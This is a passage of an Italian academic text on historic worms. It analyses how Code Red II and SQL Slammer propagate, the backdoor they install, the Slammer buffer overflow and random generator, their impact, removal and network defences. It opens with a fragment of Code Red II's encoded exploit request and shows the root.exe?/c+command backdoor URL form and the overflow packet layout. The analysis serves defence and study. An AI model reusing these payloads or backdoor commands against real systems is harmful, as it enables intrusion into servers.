XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090 %u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801 %u9090%u9090%u8190%u00c3%u0003%u8b00%u531b %u53ff%u0078%u0000%u00=aHTTP/1.0 La differenza sta nel fatto che il carattere di riempimento usato è X invece di N. Ovviamente, il codice macchina che costituisce il resto della richiesta è diverso nelle due versioni del virus. Come già detto, il worm risiedeva unicamente in memoria; comunque esso lasciava sul sistema infettato il file ROOT.EXE nelle cartelle \SCRIPT e \MSADC di IIS, oltre al trojan EXPLORER.EXE in C:\ e D:\ . 2.3.1 Azione del worm Quando il worm raggiungeva un nuovo host, il suo thread principale per prima cosa controllava se il sistema era già stato infettato, verificando l’esistenza di un semaforo dal nome CodeRedII. Se il controllo dava esito negativo, il thread • eseguiva una routine di inizializzazione; • tentava di propagarsi su altri sistemi; • installava la backdoor; • andava in stato di sleep (per 24 o 48 ore), causando un reboot della macchina al suo risveglio. Dopo il reboot, l’attaccante poteva sfruttare la backdoor a suo piacimento; se il semaforo invece esisteva, il thread cadeva in una sleep infinita. Fase di inizializzazione Nella routine di inizializzazione, il worm identificava l’indirizzo di base della libreria KERNEL32.DLL nello spazio degli indirizzi dei processi del server IIS. Poi cercava l’indirizzo di GetProcAddress e lo usava per ottenere accesso ad un insieme di indirizzi API come ad esempio LoadLibraryA, CreateThread e GetSystemTime. Successivamente caricava il file WS2 32.DLL per accedere a funzioni come socket, closesocket e WSAGetLastError. L’aggressività del virus dipendeva da quale linguaggio di default fosse installato sul sistema: se questo era il Cinese il worm creava 600 thread secondari e tentava di propagarsi per 48 ore, altrimenti creava 300 thread e tentava di diffondersi ”solo” per 24 ore. Fase di propagazione Il thread principale controllava l’orologio di sistema: se l’anno riportato era minore di 2002 e se il mese era minore di 10 (ottobre) allora il worm continuava la sua esecuzione, altrimenti effettuava un riavvio della macchina e la sua azione 2.3. CODE RED II 19 terminava. Ciò implica che tutte le istanze del worm cessavano di propagarsi dal primo ottobre del 2001 in poi. Se l’azione del worm continuava, il thread principale e i thread secondari creati contribuivano all’infezione svolgendo ruoli diversi: il primo si occupava della creazione della backdoor, mentre i secondi provvedevano alla diffusione dell’infezione su altri sistemi. I 300 o 600 thread lavoravano tutti simultaneamente, occupandosi di inviare la richiesta HTTP ”assassina” su un particolare host. L’indirizzo IP della vittima era determinato dal thread scegliendo a caso un indirizzo IP e applicandovi poi una delle seguenti maschere: • 0.0.0.0 (probabilità 12.5%) • 255.0.0.0 (probabilità 50.0%) • 255.255.0.0 (probabilità 37.5%) La porzione dell’indirizzo IP su cui era applicata la maschera veniva rimpiazzata con la porzione di rete dell’indirizzo IP dell’host infettato. Le differenze di probabilità stanno ad indicare che una macchina infettata tenterà di colpire macchine quasi certamente attaccabili, basandosi sul presupposto che su host che fanno parte della stessa rete molto probabilmente gira lo stesso software: il worm quindi sceglierà, come bersaglio per nuove infezioni, perlopiù indirizzi IP confinanti con quello dell’host attaccante. I thread, comunque, escludevano gli indirizzi IP 127.x.x.x (loopback) e 224.x.x.x (multicast), dove ogni byte ”x” era diverso da 0 o 255. In più, il worm non tentava di reinfettare se stesso. La connessione con le macchine che subivano il tentativo di infezione avveniva tramite l’uso di socket non bloccanti, i quali garantiscono prestazioni maggiori. Un’altra cosa da notare è che il codice di Code Red II non è mutante, vale a dire che tutte le copie del worm in circolazione erano tutte identiche. Installazione della backdoor Mentre i thread secondari svolgevano la loro opera di diffusione del worm, quello principale: • otteneva il path della directory di sistema (in genere era C:\WINNT\SYSTEM32\); • concatenava CMD.EXE (il nome dell’interprete di comandi generico) ad esso. Chiamiamo S la stringa risultante; • eseguiva COPY < S > < P AT H > , dove PATH è: – C:\INETPUB\SCRIPTS\ROOT.EXE C:\PROGRA∼ 1\COMMON∼ 1\SYSTEM\MSADC\ROOT.EXE • creava il trojan C:\EXPLORER.EXE (con attributi di file nascosto e di sistema) • ripeteva i passi precedenti sostituendo C: con D: Se le cartelle virtuali \SCRIPTS e \MSADC avevano i permessi di esecuzione (come succede per default), la copia di CMD.EXE, in queste locazioni accessibili dall’esterno, forniva all’attaccante uno strumento per eseguire comandi arbitrari sul server infetto. Infatti, IIS passava i comandi da eseguire a ROOT.EXE quando il server riceveva una richiesta cosı̀ strutturata: 20 CAPITOLO 2. WORM STORICI http://IP ADDRESS/c/inetpub/scripts/root.exe?/c+COMANDO ARBITRARIO dove IP ADDRESS è l’indirizzo dell’host ”vittima”, il simbolo ? separa il path C:\INETPUB\SCRIPTS\ROOT.EXE dai parametri ad esso associati e COMANDO ARBITRARIO rappresenta il comando che l’attaccante ha intenzione di far eseguire a tale macchina. Reboot del sistema Il riavvio del sistema veniva causato da una chiamata ad ExitWindowsEx prelevata dal file USER32.DLL. Esso provocava lo svuotamento dell’area di memoria occupata dal worm, ma chiaramente lascia sul sistema la backdoor e il trojan EXPLORER.EXE (residenti su disco); inoltre esso causava il riavvio dell’IIS con il supporto dei nuovi valori introdotti nel registry (/c /d e le virtual root). Il sistema era quindi pronto per essere sfruttato a piacimento dall’attaccante. Azione e attacco al sistema Abbiamo detto che quando terminava la sleep del thread principale, il sistema veniva riavviato. Il primo utente che effettuava il login causerà il lancio del ”nuovo” EXPLORER.EXE, il quale per prima cosa eseguiva il vero EXPLORER.EXE (cosicché l’utente non si accorge di nulla) e poi eseguiva (in un loop infinito) le seguenti modifiche al registry di windows seguite da una sleep di 10 minuti: • accedeva alla chiave HKEY LOCAL MACHINE\SOFTWARE\ M i c r o s o f t \WindowsNT\ C u r r e n t V e r s i o n \ Winlogon impostando SECDisable=0xFFFFFF9D. Questa modifica serve a disabilitare il Windows File Protection, che è una funzionalità che impedisce il rimpiazzo di determinati file di sistema che sono costantemente monitorati. • imposta le chiavi SYSTEM\ C u r r e n t C o n t r o l S e t \ S e r v i c e s \W3SVC\ Parameters \ V i r t u a l Roots \ s c r i p t s e SYSTEM\ C u r r e n t C o n t r o l S e t \ S e r v i c e s \W3SVC\ Parameters \ V i r t u a l Roots \msadc al valore ,,217. Questo valore assicurava che le directory virtuali \SCRIPTS e \MSADC (che conteneva la copia di CMD.EXE denominata ROOT.EXE) avevano permessi di lettura/scrittura/esecuzione. In altre parole, l’attaccante voleva assicurarsi di poter eseguire script e file .EXE in tali directory. • imposta la chiave SYSTEM\ C u r r e n t C o n t r o l S e t \ S e r v i c e s \W3SVC\ Parameters \ V i r t u a l Roots \ c 2.3. CODE RED II 21 al valore c: ,217 e la chiave SYSTEM\ C u r r e n t C o n t r o l S e t \ S e r v i c e s \W3SVC\ Parameters \ V i r t u a l Roots \d al valore d: ,217. Il valore 217 ha la stessa funzione spiegata prima. Queste modifiche hanno lo scopo di mappare i drive C: e D: in posti ove IIS può trovarli, cioè /c e /d; i comandi di attacco avranno perciò la seguente forma: h t t p : / / INDIRIZZO IP/ c / i n e t p u b / s c r i p t s / r o o t . exe ?/ c+COMANDO oppure h t t p : / / INDIRIZZO IP/ c / winnt / system32 /cmd . exe ?/ c+COMANDO (quindi se il file ROOT.EXE era stato cancellato, l’attaccante poteva comunque compromettere il sistema usando le directory virtuali /c e /d) Notiamo infine che, a causa del loop infinito menzionato prima, anche se un amministratore si accorgesse dei settaggi nel registry introdotti dal virus e li cancellasse, qualche minuto dopo questi sarebbero inesorabilmente ricreati! 2.3.2 Rimozione Prima di tutto è essenziale applicare le patch Microsoft reperibili agli URL: • http://www.microsoft.com/technet/security/bulletin/ms01-033.asp • http://www.microsoft.com/technet/security/bulletin/MS00-052.asp La prima rimedia alla vulnerabilità che sfrutta il virus per diffondersi. La seconda impedisce a Windows di eseguire il trojan EXPLORER.EXE dalla directory radice. Una volta applicate le patch, il sistema deve essere riavviato per eliminare il worm casomai questo fosse ancora attivo in memoria. Terminato il caricamento di Windows, bisogna: • cancellare i file – \INETPUB\SCRIPTS\ROOT.EXE – \PROGRA∼ 1\COMMON∼ 1\SYSTEM\MSADC\ROOT.EXE – \EXPLORER.EXE (per quest’ultimo è necessario disattivare i bit di sistema, di sola lettura e di file nascosto tramite il comando ”ATTRIB -H -S -R”) • rimuovere dal registry (tramite apposito editor) le chiavi: – SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\C – SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\D 22 2.4 CAPITOLO 2. WORM STORICI Slammer Worm SQL Slammer (conosciuto anche DDOS.SQLP1434.A, W32/SQLSlammer, Slammer, Sapphire e W32/SQL Slam-A) è stato un worm altamente dannoso che si diffuse su Internet all’inizio del 2003. Questo worm è stato considerato da molti tra i peggiori di sempre. La creazione di questo worm pare essere opera di un gruppo di cracker cinesi, anche se non si ha la certezza. SQL Slammer non danneggia file e programmi ma rende di fatto inutilizzabile la rete considerando il ritmo velocissimo con il quale riesce ad auto-replicarsi: circa 8.000 copie in un’ora. L’effetto finale, che caratterizza il vero danno provocato dal worm SQL Slammer, è lo stesso prodotto dai cyber-attacchi di tipo tradizionale perché di fatto impedisce il servizio. Infatti la sua altissima capacità di auto-replicarsi finisce col rallentare la rete mettendo i computer fuori gioco per un eccesso di tentativi di attacco. SQL Slammer colpisce i sistemi su cui sono in esecuzione Microsoft SQL Server 2000 e Microsoft Data Engine (MSDE) 2000. Questi sistemi sono attaccati inviando 376 byte alla porta UDP 1434. Tale porta è assegnata al servizio SQL Server Resolution Service che è fornito da entrambe le applicazioni. Esso gestisce le richieste dei client fornendo l’indirizzo del server che è in grado di soddisfarle. Il codice del worm è stato scritto e ottimizzato utilizzando il linguaggio Assembler. SQL Slammer non memorizza copie di se stesso sul disco, infatti è completamente memory-resident (residente in memoria), ma esiste solo sotto forma di pacchetti di rete e processi eseguiti nella memoria dei computer infetti. Questo worm sfrutta una vulnerabilità dei server Microsoft SQL 2000 e Microsoft Data Engine (MSDE) 2000 che consiste nel buffer overflow ovvero nel riempimento del buffer nello stack del server di dati arbitrari. Questa condizione causa la sovrascrittura dell’indirizzo della prossima istruzione da eseguire, memorizzato in un’area dello stack, con l’indirizzo corrispondente a quello della prima istruzione del worm, causandone quindi l’esecuzione. Dopo che il worm si è installato nel sistema inizia la propria routine di scansione su Internet alla ricerca di altre macchine vulnerabili. SQL Slammer usa un generatore di numeri casuali per ottenere indirizzi IP di potenziali macchine vittime. Dunque, il worm si propaga inoltrandosi agli indirizzi IP, generati in precedenza, sulla porta UDP 1434 della macchina remota, in modo da contattare il server SQL se presente. A volte il generatore random produce numeri che sono indirizzi IP broadcast, ad esempio x.y.z.0 oppure x.y.z.255, in modo che tutti gli host della particolare rete indirizzata ricevano il pacchetto contenente codice malizioso, in questo caso il worm SQL Slammer. Questo aspetto comporta l’infezione allo stesso tempo di tutti i server SQL nella subnet rendendo, quindi, la routine di propagazione ancora più aggressiva. Gli effetti provocati da Slammer sono stati devastanti. Infatti entro dieci minuti della sua uscita, aveva già attaccato e infettato 75000 server internet. Bank of America è stata una delle più grandi società colpite dal worm. Molti dei suoi bancomat non funzionarono più per i consumatori. È stato segnalato che il worm ha interferito con chiamate al numero unico di emergenza 911 e fu responsabile di molti voli cancellati. Anche in Italia si sono avute conseguenze in seguito alla diffusione del worm. Il 28 gennaio 2003, 14000 uffici postali sono risultati bloccati. Anche i paesi dell’Asia, in particolare la Corea del Sud, sono stati colpiti registrando un rallentamento degli scambi azionari. La Figura 2.6 mostra l’espansione geografica di SQL Slammer nei 30 minuti 2.4. SLAMMER WORM 23 Figura 2.6: Espansione geografica di Slammer dopo il suo exploit, cioè la sua fase iniziale di propagazione. Il diametro di ogni cerchio è una funzione logaritmica del numero di macchine infette; quindi la grandezza di ogni cerchio è proporzionale al grado di diffusione del worm nel paese su cui è indicato. Come detto in precedenza, SQL Slammer si propaga inviando pacchetti UDP ad una porta predefinita (1434) dei sistemi vittime. Questo ha l’effetto di generare un volume di traffico capace di rallentare le connessioni fino a bloccarle totalmente. A questo punto, agli amministratori delle macchine infette non resta da fare altro che staccare la connessione e riavviare il server. Ad ogni modo non si tratta di un worm sofisticato nè estremamente complicato, poiché sfrutta un’unica porta di ingresso. SQL Slammer è quindi un worm estremamente efficiente e virulento, ma anche facilmente annientabile. A dispetto dell’entità dei danni che ha causato, lo si potrebbe descrivere come il classico ’cane che abbaia, ma non morde’. Per proteggere i sistemi vulnerabili dal pericolo di un attacco del worm SQL Slammer, la Microsoft ha rilasciato delle patch da installare su tali sistemi. 2.4.1 Descrizione Si supponga di avere una macchina vulnerabile su cui è in esecuzione il servizio SQL Server Resolution. Questo servizio è in ascolto sulla porta UDP 1434 che, di conseguenza, è aperta. Di seguito sono mostrati i passi eseguiti dal worm durante le fasi di attacco e di propagazione: • La macchina vulnerabile riceve un datagram simile a quello mostrato nella Figura 2.7. Come si può vedere, i campi dell’intestazione del datagram contengono le informazioni riguardanti gli indirizzi IP e fisici degli host coinvolti nella comunicazione, l’attaccante e l’host destinatario, e altre informazioni richieste per la trasmissione dal protocollo IP. Tra questi campi è possibile notare il tipo di protocollo utilizzato (UDP) e il TTL (Time To Live) che indica il numero di router che il datagram può attraversare. In effetti questo campo funge da contatore. Ogni volta che il datagram attraversa un router esso viene decrementato finché non diventa 0. A questo punto il datagram viene scartato dal router che lo ha ricevuto e viene generato un messaggio di errore con l’informazione di indirizzo IP inesistente. Tale messaggio di errore è generato dal protocollo ICMP che si occupa della segnalazione di errori o di altre situazioni simili. Inoltre, tali messaggi contribuiscono al rallentamento della rete. Nella parte dei 24 CAPITOLO 2. WORM STORICI dati sono stati evidenziati alcuni byte che hanno un significato chiave. In particolare: – Il byte 0x04: un datagram, che viene ricevuto da un sistema SQL Server vulnerabile, con il primo byte uguale a 0x04, viene interpretato come una richiesta. Quando SQL Server riceve una richiesta, esso esegue alcune operazioni che provocheranno il buffer overflow; – I byte 68 6F 75 6E 74 68 69 63 6B: sequenza di byte presente in tutti i datagram in cui è contenuto il worm SQL Slammer. Tale sequenza è contraddistinta come firma del worm. • Quando il datagram UDP contenete il worm viene ricevuto sulla porta 1434, esso viene processato provocando l’overflow del buffer sullo stack. Poiché nello stack vi è un’area riservata alla memorizzazione della prossima istruzione da eseguire, è possibile provocare il buffer overflow con l’obiettivo di sovrascrivere quest’area dello stack con l’indirizzo corrispondente alla prima istruzione del worm. In tal modo il worm riesce ad andare in esecuzione sulla macchina attaccata. • La prima operazione compiuta dal worm, una volta iniziata la sua esecuzione, è quella di ricostruire il datagram contenente il worm stesso nel buffer. Nel suo exploit il worm invia il datagram ricostruito ad indirizzi IP arbitrari (non ci sono indirizzi IP predeterminati che risultano associati a tale worm. SQL Slammer apre sul computer infetto una nuova porta di comunicazione verso l’esterno utilizzando un numero a caso. In seguito utilizza il suo generatore di numeri casuali per ottenere indirizzi IP random e tenta di inviarsi ripetutamente a tutti gli indirizzi IP generati. SQL Slammer usa come seme iniziale per il suo generatore di numeri casuali il timer di sistema (numero di millisecondi trascorsi dal boot del sistema) della macchina infettata. Tale valore è restituito dalla funzione GetTickCount() appartenente alle API Win32. Il worm invia quindi il datagram contenente il codice di se stesso cercando di collegarsi alla porta UDP 1434 sulla macchina remota, in modo da contattare il Server SQL, se presente. 2.4.2 Pseudocodice Di seguito viene presentato lo pseudocodice, tratto dal documento Deep Sight Incident Alert rilasciato dal team Deep Sight Threat Analyst, che descrive le azioni compiute dal worm in una forma più semplice di quella descritta nel codice assembly x86. Nella Figura 2.8 viene invocata la funzione LoadLibrary localizzata nella libreria Sqlsort.dll, per ottenere gli handles delle librerie in cui sono localizzate le funzioni utilizzate dal worm. Tali librerie sono ws2 32.dll e kernel32.dll. Nella Figura 2.9 viene utilizzata la funzione GetProcAddress() per ottenere l’indirizzo della funzione GetTickCount() che è contenuta nella libreria kernel32.dll. La funzione GetProcAddress() prende in input l’handle di una libreria e il nome di una funzione e restituisce il puntatore a quest’ultima. Il valore restituito dalla funzione GetTickCount() costituisce il seme iniziale per il suo generatore di numeri casuali. La funzione GetProcAddress() è utilizzata anche per ottenere gli indirizzi delle funzioni socket() (crea un nuovo canale di 2.4. SLAMMER WORM 25 Figura 2.7: Figura 2.8: comunicazione verso l’esterno) e sendto() (invia messaggi sul canale di comunicazione creato). Tali funzioni saranno utilizzate durante la fase di propagazione. Successivamente vengono impostati dei parametri predefiniti (protocollo di comunicazione usato, tipo di indirizzo, numero di porta, ecc.) che sono passati come argomenti alla funzione socket(). Questa funzione, come già detto, crea un canale di comunicazione (socket) attraverso il quale il worm tenta di inviarsi. Nella Figura 2.10 viene mostrato come vengono generati nuovi indirizzi IP che sono attaccati attraverso l’invio di un buffer in cui è memorizzato il pacchetto contenente il worm stesso utilizzando la funzione sendto(). 2.4.3 Generatore di numeri pseudo-random SQL Slammer è un random-scanning worm. Worm di questo tipo scelgono e individuano in maniera casuale le macchine da attaccare. Per tale motivo Figura 2.9: 26 CAPITOLO 2. WORM STORICI Figura 2.10: hanno bisogno di un buon generatore di numeri casuali al fine di selezionare nuovi obiettivi da attaccare. SQL Slammer utilizza un generatore a congruenze lineari nell’algoritmo di generazione di numeri pseudo casuali PRNG (Pseudo Random Number Generator). Questo tipo di generatore utilizza una formula del tipo: xi + 1 = (xi ∗ a + b) mod m (2.1) dove: • xi + 1 è il nuovo numero pseudo-casuale generato; • xi è l’ultimo numero pseudo-casuale generato; • m rappresenta il range del risultato; • a e b sono valori costanti. La sequenza di valori viene prodotta iterando la formula descritta, a partire da un valore iniziale x, detto seme. Quando nella sequenza degli xi generati, si ritrova uno dei valori xj (con j¡i) generato in precedenza, da questo punto in poi ha inizio un ciclo che ripete i valori già prodotti. L’ampiezza di questo ciclo, detto periodo, dipende dalla scelta dei valori per le costanti a, b ed m. Gli autori di SQL Slammer hanno scelto di utilizzare dei valori per le costanti a, b ed m che la Microsoft ha utilizzato in altri generatori di numeri pseudo-casuali. Il valore scelto per la costante a = 214013, quello scelto per b = 2531011 e quello scelto per m = 232 . La formula di generazione diventa quindi: xi + 1 = (xi ∗ 214013 + 2531011) mod 232 (2.2) La scelta effettuata per il valore della costante b ha prodotto implicitamente un errore nella realizzazione del PRNG. L’errore è stato la sostituzione del valore di incremento con il valore esadecimale 0xffd9613c. L’interpretazione di questo valore in complemento a 2 è equivalente a -2531012 e ciò evidenzia come la sua rappresentazione sia sbagliata perché laddove è prevista un’operazione ADD (addizione) si realizza in realtà un’operazione di SUB (sottrazione) (essendo il valore negativo). Per ovviare a tale errore doveva essere compiuta un operazione SUB per compiere realmente un operazione di ADD. Il risultato di questo porta ad un incremento sempre pari. Un altro errore prodotto nella realizzazione del generatore è stato compiuto nella parte del codice assembler che implementa la generazione di numeri casuali. Questo errore consiste nell’uso dell’istruzione OR invece dell’istruzione XOR per azzerare il contenuto di un appropriato registro, (il registro EBX), in cui verrà caricato il valore della costante b. Questa operazione lascia inalterato il contenuto di tale registro (es. A OR A = A, 2.4. SLAMMER WORM 27 A XOR A = 0) che contiene il valore di un entry point nella Import Address Table (IAT) di SqlSort. Di conseguenza non viene compiuta un’operazione di XOR tra il valore di b e 0 (che caricherebbe b in EBX) ma tra il valore di b e quello precedentemente memorizzato in EBX. Questi errori riducono significativamente la qualità della distribuzione del generatore, in quanto la sequenza di numeri generati è caratterizzata da un periodo relativamente piccolo. Quindi, a causa dell’erroneo incremento utilizzato, un qualunque worm ciclerà attraverso un elenco di indirizzi significativamente più piccolo dello spazio di indirizzi di Internet. La probabilità di scegliere un particolare ciclo di indirizzi da scandire dipende dal valore casuale scelto per il seme iniziale. Se si considera l’insieme dei semi casuali utilizzati dalle varie istanze del worm è ugualmente probabile che tutti gli indirizzi di Internet siano sondati. Comunque, il worm utilizza come valore del seme per il generatore il numero di millisecondi trascorsi dal boot del sistema. Tale valore è ottenuto dalla funzione GetTickCount() che restituisce il timer di sistema. Questa scelta provvede ad una sufficiente randomizzazione per assicurare che attraverso molte istanze del worm, almeno un host sonderà ogni indirizzo in qualche istante di tempo. Una caratteristica interessante di questo PRNG è la difficoltà per la comunità di Internet di identificare un elenco di indirizzi compromessi. Con i vecchi worm, era sufficiente raccogliere solo un elenco di tutti gli indirizzi sondati in una grande rete, invece con SQL Slammer, bisognerebbe esaminare reti in ogni ciclo del generatore di numero casuale. 2.4.4 Vulnerabilità dei sistemi colpiti I database server Microsoft SQL Server 2000 presentano una vulnerabilità di buffer overflow. Questa condizione può essere provocata da un attaccante remoto senza che questi si sia mai autenticato al server. L’obiettivo dell’attaccante è riuscire ad acquisire privilegi del processo server per poter agire indisturbato come se sulla macchina attaccata continuasse la normale esecuzione del processo server. SQL Server può essere configurato in modo che possa inizializzare connessioni con i client in diversi modi. Può essere configurato in modo che i client usino delle pipe (canali di comunicazione) su una sessione NetBIOS, utilizzando le porte TCP 139 o 445, oppure può essere configurato in modo che i client usino dei socket attraverso i quali si connettono alla porta TCP 1433. Qualunque sia il metodo utilizzato, SQL Server resta sempre in ascolto sulla porta UDP 1434. Questa porta è assegnata al servizio SQL Server Resolution Service (SSRS) (Microsoft SQL Monitor) incluso nei sistemi SQL Server. In effetti molteplici istanze del server sono in esecuzione sulla stessa macchina. Questo servizio ha il compito di ricevere le richieste dei client e restituire l’indirizzo IP e il numero di porta dell’istanza del server SQL che permette di accedere al database richiesto dallo specifico client. I messaggi di richiesta da parte dei client consistono in un singolo byte packet, che corrisponde a 0x02. Ad ogni modo ci sono anche altri tipi di comunicazione che possono essere spedite a questa porta. Quando un sistema SQL Server riceve sulla porta UDP 1434 un pacchetto il cui primo byte è settato a 0x04, il servizio SQL Monitor fornito da SQL Server prende i restanti dati contenuti nel pacchetto e li interpreta come informazioni supplementari dell’utente. A questo punto SQL Server crea una chiave di registro utilizzando questi dati. Ad esempio, inviando un pacchetto contenete i seguenti byte: 28 CAPITOLO 2. WORM STORICI Figura 2.11: • 0x04 0x41 0x41 0x41 0x41 (byte 0x04 seguito da quattro lettere maiuscole ’A’) SQL Server tenta di aprire la seguente chiave di registro: • HKLM\Software\Microsoft\Microsoft SQL Server\AAAA\MSSQLServer\CurrentVersion SQL Server nel momento in cui crea la chiave di registro, carica in un buffer sullo stack la sequenza di byte che segue il byte 0x04. Se tale sequenza è costituita da un numero elevato di byte in modo da essere maggiore della dimensione del buffer, che è limitata, essa provoca l’overflow di quest’ultimo. Se ciò avviene, l’indirizzo di ritorno (indirizzo dell’istruzione successiva da eseguire), salvato nello stack viene sovrascritto, permettendo ad un attaccante di guadagnare il controllo completo del processo SQL Server e del suo percorso di esecuzione. 2.4.5 Come vengono sfruttate le vulnerabilità Il pacchetto mostrato in Figura 2.7, quando è ricevuto da un sistema SQL Server viene interpretato come una richiesta poiché il suo primo byte della sezione dati è 0x04. Come spiegato in precedenza, il server SQL interpreta i dati che seguono tale byte come dati supplementari dell’utente. In effetti tali byte comprendono l’intera sezione dati del datagram e, come evidenzia la Figura 2.11, essa può essere suddivisa in tre parti: • Garbage: è costituito da dati di padding (riempimento). Essi vengono aggiunti al pacchetto contenente il worm in modo da dargli una dimensione tale da provocare il buffer overflow quando viene caricato nello stack • EIP: corrisponde all’indirizzo attraverso il quale il worm accede al suo payload, ossia l’indirizzo dell’istruzione ”jmp esp”. Tale indirizzo in effetti va a sovrascrivere nello stack il corretto instruction pointer quando viene causato l’overflow del buffer • Worm: costituisce il codice del worm. 2.4. SLAMMER WORM 29 Figura 2.12: SQL Server carica tali byte in un buffer sullo stack al fine di utilizzarli per creare un chiave di registro. I dati di padding, però, conferiscono alla sequenza di byte una taglia superiore alla dimensione del buffer. Siccome non viene effettuato nessun controllo sulla dimensione della sequenza di byte, viene provocato un buffer overflow e l’indirizzo di ritorno salvato sullo stack viene sovrascritto con l’indirizzo formato dai byte [EIP]. Quest’indirizzo referenzia l’istruzione ’jmp esp’ localizzata nella libreria Sqlsort.dll. L’esecuzione di questa istruzione provoca un salto all’istruzione referenziata dall’indirizzo memorizzato nel registro ESP. Tale indirizzo si riferisce ad una locazione nello stack. Per come è stata caricata la sezione dati nel buffer sullo stack questo indirizzo referenzia la prima istruzione del worm. 2.4.6 Impatto Il principale impatto di questo worm è l’ampio utilizzo della bandwidth di rete, che in alcuni casi determina la perdita dei pacchetti sulla rete al 100%. Il grafico in Figura mostra la perdita di pacchetti verificatasi nel periodo 20-26 gennaio 2003 in corrispondenza dei sovraccarichi di rete causati dall’exploit worm. In particolare è possibile notare tre picchi massimi di cui uno il 24 gennaio e due il 26 gennaio. L’alto volume di traffico sulla porta UDP 1434 causa un degrado delle performance dell’host infettato (che include condizioni di deniel-of-service). In effetti l’ampio consumo della bandwidth di rete è il risultato della presenza sulla rete dei messaggi outbound e inbound generati e causati rispettivamente dalla procedura di propagazione del worm. I messaggi outbound costituiscono il traffico verso indirizzi esterni sulla porta UDP 1434; i messaggi inbound costituiscono il traffico di messaggi ICMP di Porta o di Host non raggiungibile generati dai routers ogni qualvolta il worm inoltra pacchetti a indirizzi IP non esistenti, o ad indirizzi IP il cui host ha la porta UDP 1434 chiusa. Un altro fattore che contribuisce all’aumento del traffico di rete è determinato dal fatto che su ogni sistema possono essere in esecuzione contemporaneamente più copie 30 CAPITOLO 2. WORM STORICI del worm, poiché il worm non prevede installazione che prevenga una nuova probabile infezione. 2.4.7 Velocità di propagazione La velocità di propagazione è una delle caratteristiche principali di SQL Slammer. Nel primo minuto della sua espansione, la taglia della popolazione contagiata raddoppia ogni 8.5 (± 1) secondi. Il worm ha raggiunto il massimo scanning rate (55 milioni di scansioni al secondo) in circa tre minuti, successivamente il tasso di crescita è diminuito poiché le porzioni significative del network non hanno avuto abbastanza bandwith da permettergli di operare. Le macchine più vulnerabili sono stato contagiate entro 10 minuti dall’exploit del worm. Sebbene fossero stati predetti worm con un cosı̀ rapido tasso di propagazione soltanto in teoria, SQL Slammer ne rappresenta il primo reale esempio. A prova di quanto detto, SQL Slammer risulta due ordini di magnitude più veloce in confronto ad un altro noto worm Code Red (ha infettato 359.000 host il 19 luglio 2001) la cui taglia della popolazione colpita raddoppia in circa 37 minuti. Slammer, come altri worm, ad esempio Code Red e Nimda, è uno scanning worm. Worm di questo tipo utilizzano la stessa strategia di base che consiste nella individuazione di macchine vulnerabili e nel trasferimento su di esse del proprio payload, ma Slammer si differenzia per la strategia di scansione determinata dal tipo di protocollo di connessione utilizzato. La strategia di scansione di Code Red è a latenza limitata; questa prevede la creazione di molti threads ognuno dei quali invoca una connect per sondare indirizzi IP generati in maniera random. La velocità di scanning rate di questi thread è limitata dalla latenza di rete, ossia il tempo che intercorre dalla invio del pacchetto TCP-SYN alla ricezione di una risposta o fino alla scadenza del time-out (procedura three-way handshake del protocollo TCP). I worm che operano in questo modo possono compensare la latenza di rete creando un elevato numero di threads; in pratica l’alto overhead e la mancanza di sufficienti risorse rendono inefficace questa soluzione, per cui il worm va velocemente in stallo. Diversamente, la strategia di scansione di Slammer è a bandwidth limitata. Poichè si può sfruttare la vulnerabilità del Server Sql inviando un singolo pacchetto UDP sulla porta 1434, il worm è in grado di compiere scansioni senza aspettare una risposta dalla potenziale vittima. Questa caratteristica rende il ciclo di scansione molto veloce e poichè i moderni server hanno sufficiente capacità di I/O di rete tale da poter trasmettere dati a 100Mbps+, Slammer è limitato dalla bandwidth di rete piuttosto che dalla sua abilità di autoreplicarsi frequentemente. In teoria, una macchina infettata con una connessione ad Internet di 100 Mb/s può produrre fino a 30000 scansioni al secondo. In pratica, a causa della bandwidth limitata e dell’overhead per-packet, il massimo tasso di scansione osservato è di 26000 scansioni al secondo e con una media di circa 4.000 scansioni al secondo durante la prima fase della crescita del worm. SQL Slammer pur avendo una taglia di soli 376 byte contiene un veloce analizzatore di indirizzi di rete. La dimensione effettiva del frame trasmesso in rete raggiunge, per via dei dati di intestazione, la dimensione di 404 byte; dimensione ragionevolmente inferiore a quella dei frame contenenti il worm Code Red e Nimda, grandi rispettivamente 4Kb e 60 Kb. La tecnica di scanning di Slammer è cosı̀ aggressiva da interferire rapidamente sulla sua crescita. Di conseguenza la percentuale di macchine infette è andata 2.4. SLAMMER WORM 31 diminuendo per via di uno scarso bandwidth. Per cui Slammer ha raggiunto il suo massimo scanning rate nei primi minuti della sua espansione. 2.4.8 Difesa Per verificare l’eventuale suscettibilità del proprio sistema al worm SQL Slammer era consigliato utilizzare Slammer Vulnerability Assessment Tool. Si trattava di un tool in grado di rilevare non solo la suscettibilità del sistema al worm ma suggeriva le azioni da compiere per proteggere il proprio sistema. Altri tool come SQL Scan Tool, SQL Check o SQL Critical Update permettevano di analizzare i computer su cui erano presenti istanze di SQL Server 2000 e MSDE 2000 potenzialmente vulnerabili al worm. Siccome il worm non memorizzava copie di se stesso sul disco, era sufficiente riavviare il server per farlo sparire. Ciò, però, non proteggeva il sistema da un nuovo attacco. Bisognava, quindi, installare le patch fornite dalla Microsoft. Una soluzione preventiva era quella di utilizzare dei filtri di input/output. In particolare, i filtri di input consentono soltanto a traffico controllato di entrare nella rete che proteggono. I server sono tipicamente le sole macchine che hanno bisogno di accettare traffico entrante dall’Internet mondiale. Poiché la politica di rete utilizzata prevede che host esterni possano inviare traffico inbound soltanto verso well-known-port di server, si possono applicare tali filtri di input direttamente ai border-router della rete per bloccare traffico non autorizzato. I filtri di output consentono soltanto a traffico controllato di uscire dalla rete che proteggono. Tipicamente questo è necessario per macchine server che danno origine a traffico outbound sulla rete (Internet). Nel caso di questo worm, l’impiego dei filtri di input/output poteva aiutare a prevenire la compromissione di sistemi dall’attacco di altri sulla rete. Il blocco di datagram UDP con numero di porta sorgente o destinazione 1434 da 